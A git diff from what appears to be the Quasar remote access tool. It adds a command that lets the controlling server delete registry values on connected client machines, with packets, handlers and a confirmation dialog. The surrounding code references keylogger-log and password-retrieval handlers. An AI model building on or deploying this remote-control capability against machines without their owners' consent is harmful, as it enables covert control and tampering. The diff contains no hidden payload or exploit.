diff --git a/Client/Client.csproj b/Client/Client.csproj
index db491b62..17e99ffa 100644
--- a/Client/Client.csproj
+++ b/Client/Client.csproj
@@ -97,6 +97,7 @@
+
@@ -104,6 +105,7 @@
+
diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs
index 95fe2054..d853016b 100644
--- a/Client/Core/Commands/RegistryHandler.cs
+++ b/Client/Core/Commands/RegistryHandler.cs
@@ -147,6 +147,26 @@ namespace xClient.Core.Commands
responsePacket.Execute(client);
}
+ public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client)
+ {
+ xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse();
+ string errorMsg = "";
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.ValueName = packet.ValueName;
+ responsePacket.KeyPath = packet.KeyPath;
+
+ responsePacket.Execute(client);
+ }
+
#endregion
}
}
diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs
index 5417dac5..02fe1f5c 100644
--- a/Client/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Client/Core/Extensions/RegistryKeyExtensions.cs
@@ -247,6 +247,26 @@ namespace xClient.Core.Extensions
}
}
+ ///
+ /// Attempts to delete a registry value for the key provided using the specified
+ /// name.
+ ///
+ /// The key of which the value is to be delete from.
+ /// The name of the value.
+ /// Returns a boolean value if the action succeded or failed.
+ public static bool DeleteValueSafe(this RegistryKey key, string name)
+ {
+ try
+ {
+ key.DeleteValue(name);
+ return true;
+ }
+ catch
+ {
+ return false;
+ }
+ }
+
#endregion
#region Find
diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs
index e55d79e5..22af5f9e 100644
--- a/Client/Core/Networking/QuasarClient.cs
+++ b/Client/Core/Networking/QuasarClient.cs
@@ -62,6 +62,7 @@ namespace xClient.Core.Networking
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue),
+ typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
@@ -83,6 +84,7 @@ namespace xClient.Core.Networking
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
+ typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
diff --git a/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs
new file mode 100644
index 00000000..a1775d87
--- /dev/null
+++ b/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs
@@ -0,0 +1,25 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Core.Networking;
+
+namespace xClient.Core.Packets.ClientPackets
+{
+ [Serializable]
+ public class GetDeleteRegistryValueResponse : IPacket
+ {
+ public string KeyPath { get; set; }
+ public string ValueName { get; set; }
+
+ public bool IsError { get; set; }
+ public string ErrorMsg { get; set; }
+
+ public GetDeleteRegistryValueResponse() { }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs
index 6b638c84..316c433c 100644
--- a/Client/Core/Packets/PacketHandler.cs
+++ b/Client/Core/Packets/PacketHandler.cs
@@ -144,6 +144,10 @@ namespace xClient.Core.Packets
{
CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
}
+ else if (type == typeof(ServerPackets.DoDeleteRegistryValue))
+ {
+ CommandHandler.HandleDeleteRegistryValue((ServerPackets.DoDeleteRegistryValue)packet, client);
+ }
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
diff --git a/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs b/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs
new file mode 100644
index 00000000..fa08a5ad
--- /dev/null
+++ b/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs
@@ -0,0 +1,26 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Core.Networking;
+
+namespace xClient.Core.Packets.ServerPackets
+{
+ [Serializable]
+ public class DoDeleteRegistryValue : IPacket
+ {
+ public string KeyPath { get; set; }
+ public string ValueName { get; set; }
+
+ public DoDeleteRegistryValue(string keyPath, string valueName)
+ {
+ KeyPath = keyPath;
+ ValueName = valueName;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs
index f22967a5..bde83666 100644
--- a/Client/Core/Registry/RegValueData.cs
+++ b/Client/Core/Registry/RegValueData.cs
@@ -6,7 +6,7 @@ using System.Text;
namespace xClient.Core.Registry
{
[Serializable]
- public class RegValueData
+ public class RegValueData : IEquatable
{
public string Name { get; private set; }
public string Type { get; private set; }
@@ -19,9 +19,24 @@ namespace xClient.Core.Registry
Data = data;
}
+ public override bool Equals(object obj)
+ {
+ if (obj != null && obj.GetType() == typeof(RegValueData))
+ {
+ return this.Equals((RegValueData)obj);
+ }
+
+ return false;
+ }
+
public override string ToString()
{
return string.Format("({0}:{1}:{2})", Name, Type, Data);
}
+
+ public bool Equals(RegValueData value)
+ {
+ return this.Name == value.Name;
+ }
}
}
diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs
index 05c36df1..166606b9 100644
--- a/Client/Core/Registry/RegistryEditor.cs
+++ b/Client/Core/Registry/RegistryEditor.cs
@@ -26,6 +26,8 @@ namespace xClient.Core.Registry
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
+ private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
+
#endregion
#endregion
@@ -243,6 +245,54 @@ namespace xClient.Core.Registry
}
+ ///
+ /// Attempts to delete the desired registry value from the specified key.
+ ///
+ /// The path to the key for which to delete the registry value on.
+ /// /// The name of the registry value to delete.
+ /// output parameter that contians possible error message.
+ /// Returns boolean value for if the operation failed or succeded.
+ public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
+ {
+ try
+ {
+ RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(keyPath);
+
+ //Invalid can not open parent
+ if (parent == null)
+ {
+ errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
+ return false;
+ }
+
+ //Value does not exist
+ if (!parent.ContainsValue(name))
+ {
+ errorMsg = "The registry: " + name + " does not exist in: " + keyPath;
+ //If value does not exists then the action has already succeded
+ return true;
+ }
+
+ bool success = parent.DeleteValueSafe(name);
+
+ //Value could not be deleted
+ if (!success)
+ {
+ errorMsg = REGISTRY_VALUE_DELETE_ERROR;
+ return false;
+ }
+
+ //Value was successfully deleted
+ errorMsg = "";
+ return true;
+ }
+ catch (Exception ex)
+ {
+ errorMsg = ex.Message;
+ return false;
+ }
+ }
+
#endregion
}
}
diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs
index 71d1e81f..2a0ee304 100644
--- a/Server/Controls/RegistryValueLstItem.cs
+++ b/Server/Controls/RegistryValueLstItem.cs
@@ -33,6 +33,7 @@ namespace xServer.Controls
base(name)
{
RegName = name;
+ this.Name = name;
this.SubItems.Add(type);
Type = type;
this.SubItems.Add(data);
diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs
index ea8724fd..5d50ee8b 100644
--- a/Server/Core/Commands/RegistryHandler.cs
+++ b/Server/Core/Commands/RegistryHandler.cs
@@ -113,6 +113,26 @@ namespace xServer.Core.Commands
catch { }
}
+ public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse packet, Client client)
+ {
+ try
+ {
+ // Make sure that the client is in the correct state to handle the packet appropriately.
+ if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
+ {
+ if (!packet.IsError)
+ {
+ client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName);
+ }
+ else
+ {
+ client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
+ }
+ }
+ }
+ catch { }
+ }
+
#endregion
}
}
diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs
index 42d5efa0..7a4bdef5 100644
--- a/Server/Core/Networking/QuasarServer.cs
+++ b/Server/Core/Networking/QuasarServer.cs
@@ -109,6 +109,7 @@ namespace xServer.Core.Networking
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue),
+ typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
@@ -130,6 +131,7 @@ namespace xServer.Core.Networking
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
+ typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
diff --git a/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs
new file mode 100644
index 00000000..500950a3
--- /dev/null
+++ b/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs
@@ -0,0 +1,25 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xServer.Core.Networking;
+
+namespace xServer.Core.Packets.ClientPackets
+{
+ [Serializable]
+ public class GetDeleteRegistryValueResponse : IPacket
+ {
+ public string KeyPath { get; set; }
+ public string ValueName { get; set; }
+
+ public bool IsError { get; set; }
+ public string ErrorMsg { get; set; }
+
+ public GetDeleteRegistryValueResponse() { }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs
index 76ab87f5..58130f63 100644
--- a/Server/Core/Packets/PacketHandler.cs
+++ b/Server/Core/Packets/PacketHandler.cs
@@ -86,6 +86,10 @@ namespace xServer.Core.Packets
{
CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
}
+ else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse))
+ {
+ CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client);
+ }
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
diff --git a/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs b/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs
new file mode 100644
index 00000000..a0b3bd9a
--- /dev/null
+++ b/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs
@@ -0,0 +1,26 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xServer.Core.Networking;
+
+namespace xServer.Core.Packets.ServerPackets
+{
+ [Serializable]
+ public class DoDeleteRegistryValue : IPacket
+ {
+ public string KeyPath { get; set; }
+ public string ValueName { get; set; }
+
+ public DoDeleteRegistryValue(string keyPath, string valueName)
+ {
+ KeyPath = keyPath;
+ ValueName = valueName;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs
index e1681955..851bd681 100644
--- a/Server/Core/Registry/RegValueData.cs
+++ b/Server/Core/Registry/RegValueData.cs
@@ -6,7 +6,7 @@ using System.Text;
namespace xServer.Core.Registry
{
[Serializable]
- public class RegValueData
+ public class RegValueData : IEquatable
{
public string Name { get; private set; }
public string Type { get; private set; }
@@ -19,9 +19,24 @@ namespace xServer.Core.Registry
Data = data;
}
+ public override bool Equals(object obj)
+ {
+ if (obj != null && obj.GetType() == typeof(RegValueData))
+ {
+ return this.Equals((RegValueData)obj);
+ }
+
+ return false;
+ }
+
public override string ToString()
{
return string.Format("({0}:{1}:{2})", Name, Type, Data);
}
+
+ public bool Equals(RegValueData value)
+ {
+ return this.Name == value.Name;
+ }
}
}
diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs
index aeb04bdb..17ee3c53 100644
--- a/Server/Forms/FrmRegistryEditor.Designer.cs
+++ b/Server/Forms/FrmRegistryEditor.Designer.cs
@@ -35,10 +35,6 @@ namespace xServer.Forms
this.splitContainer = new System.Windows.Forms.SplitContainer();
this.tvRegistryDirectory = new System.Windows.Forms.TreeView();
this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components);
- this.lstRegistryKeys = new xServer.Controls.AeroListView();
- this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
- this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
- this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.statusStrip = new System.Windows.Forms.StatusStrip();
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
@@ -71,6 +67,10 @@ namespace xServer.Forms
this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
+ this.lstRegistryKeys = new xServer.Controls.AeroListView();
+ this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.tableLayoutPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit();
this.splitContainer.Panel1.SuspendLayout();
@@ -137,41 +137,6 @@ namespace xServer.Forms
this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent;
this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png");
//
- // lstRegistryKeys
- //
- this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
- this.hName,
- this.hType,
- this.hValue});
- this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
- this.lstRegistryKeys.FullRowSelect = true;
- this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
- this.lstRegistryKeys.HideSelection = false;
- this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
- this.lstRegistryKeys.Name = "lstRegistryKeys";
- this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664);
- this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
- this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending;
- this.lstRegistryKeys.TabIndex = 0;
- this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
- this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
- this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
- //
- // hName
- //
- this.hName.Text = "Name";
- this.hName.Width = 203;
- //
- // hType
- //
- this.hType.Text = "Type";
- this.hType.Width = 149;
- //
- // hValue
- //
- this.hValue.Text = "Value";
- this.hValue.Width = 384;
- //
// imageRegistryKeyTypeList
//
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
@@ -303,7 +268,7 @@ namespace xServer.Forms
this.deleteToolStripMenuItem1,
this.renameToolStripMenuItem1});
this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip";
- this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 98);
+ this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 120);
//
// modifyToolStripMenuItem
//
@@ -327,10 +292,10 @@ namespace xServer.Forms
//
// deleteToolStripMenuItem1
//
- this.deleteToolStripMenuItem1.Enabled = false;
this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1";
this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(184, 22);
this.deleteToolStripMenuItem1.Text = "Delete";
+ this.deleteToolStripMenuItem1.Click += new System.EventHandler(this.deleteRegistryValue_Click);
//
// renameToolStripMenuItem1
//
@@ -415,6 +380,41 @@ namespace xServer.Forms
this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value";
this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click);
//
+ // lstRegistryKeys
+ //
+ this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.hName,
+ this.hType,
+ this.hValue});
+ this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.lstRegistryKeys.FullRowSelect = true;
+ this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
+ this.lstRegistryKeys.HideSelection = false;
+ this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
+ this.lstRegistryKeys.Name = "lstRegistryKeys";
+ this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664);
+ this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
+ this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending;
+ this.lstRegistryKeys.TabIndex = 0;
+ this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
+ this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
+ this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
+ //
+ // hName
+ //
+ this.hName.Text = "Name";
+ this.hName.Width = 203;
+ //
+ // hType
+ //
+ this.hType.Text = "Type";
+ this.hType.Width = 149;
+ //
+ // hValue
+ //
+ this.hValue.Text = "Value";
+ this.hValue.Width = 384;
+ //
// FrmRegistryEditor
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs
index 16856eeb..c12653de 100644
--- a/Server/Forms/FrmRegistryEditor.cs
+++ b/Server/Forms/FrmRegistryEditor.cs
@@ -319,6 +319,38 @@ namespace xServer.Forms
}
}
+ public void DeleteValueFromList(string keyPath, string valueName)
+ {
+ TreeNode key = GetParentTreeNode(keyPath);
+
+ if (key != null)
+ {
+ lstRegistryKeys.Invoke((MethodInvoker)delegate
+ {
+ List ValuesFromNode = null;
+ if (key.Tag != null)
+ {
+ if (key.Tag.GetType() == typeof(List))
+ {
+ ValuesFromNode = (List)key.Tag;
+ ValuesFromNode.Remove(new RegValueData(valueName, null, null));
+ }
+ else { return; }
+ }
+
+ if (tvRegistryDirectory.SelectedNode == key)
+ {
+ lstRegistryKeys.Items.RemoveByKey(valueName);
+ }
+ else
+ {
+ tvRegistryDirectory.SelectedNode = key;
+ }
+
+ });
+ }
+ }
+
private void UpdateLstRegistryKeys(TreeNode node)
{
selectedStripStatusLabel.Text = node.FullPath;
@@ -573,7 +605,28 @@ namespace xServer.Forms
#region Registry Value edit
+ private void deleteRegistryValue_Click(object sender, EventArgs e)
+ {
+ if(tvRegistryDirectory.SelectedNode != null) {
+ //Prompt user to confirm delete
+ string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete this value?";
+ string caption = "Confirm Value Delete";
+ var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
+
+ if (answer == DialogResult.Yes)
+ {
+ foreach (var item in lstRegistryKeys.SelectedItems)
+ {
+ if (item.GetType() == typeof(RegistryValueLstItem))
+ {
+ RegistryValueLstItem registyValue = (RegistryValueLstItem)item;
+ new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient);
+ }
+ }
+ }
+ }
+ }
#endregion
diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx
index 2397166c..d9b674bf 100644
--- a/Server/Forms/FrmRegistryEditor.resx
+++ b/Server/Forms/FrmRegistryEditor.resx
@@ -124,41 +124,41 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
- ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
- BwAAAk1TRnQBSQFMAwEBAAG4AQEBuAEBARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
- AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
- AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
- AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
- AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ
- AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm
- AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz
- AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm
- AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm
- AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA
- ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm
- AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm
- ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm
- AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA
- AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ
- AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz
- AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/
- AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA
- AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM
- AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm
- ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ
- AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/
- ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM
- ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm
- AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM
- AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA
- AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA
- ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7
- Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAEaAZkLUgEaMgABdAEb
- ARoEmgV6AcMBUjIAAVIB9gGgApoDegRZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGa
- A3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2
- AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMA
- ARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGA
- AQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8GAAs=
+ ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADk
+ BwAAAk1TRnQBSQFMAwECAAECAQABAgEQAQABEAEABP8BCQEACP8BQgFNATYBBAYAATYBBAIAASgDAAFA
+ AwABEAMAAQEBAAEIBgABBBgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHcAcABAAHw
+ AcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEAAzkBAAGA
+ AXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEzAwABZgMA
+ AZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIAAWYBmQIA
+ AWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIAAcwBZgIA
+ AcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFmAQABMwEA
+ AZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEAATMBZgIA
+ ATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEzAZkBZgEA
+ ATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEzAswBAAEz
+ AcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEzAQABZgEA
+ AWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZAQABZgEz
+ AcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFmAZkBZgEA
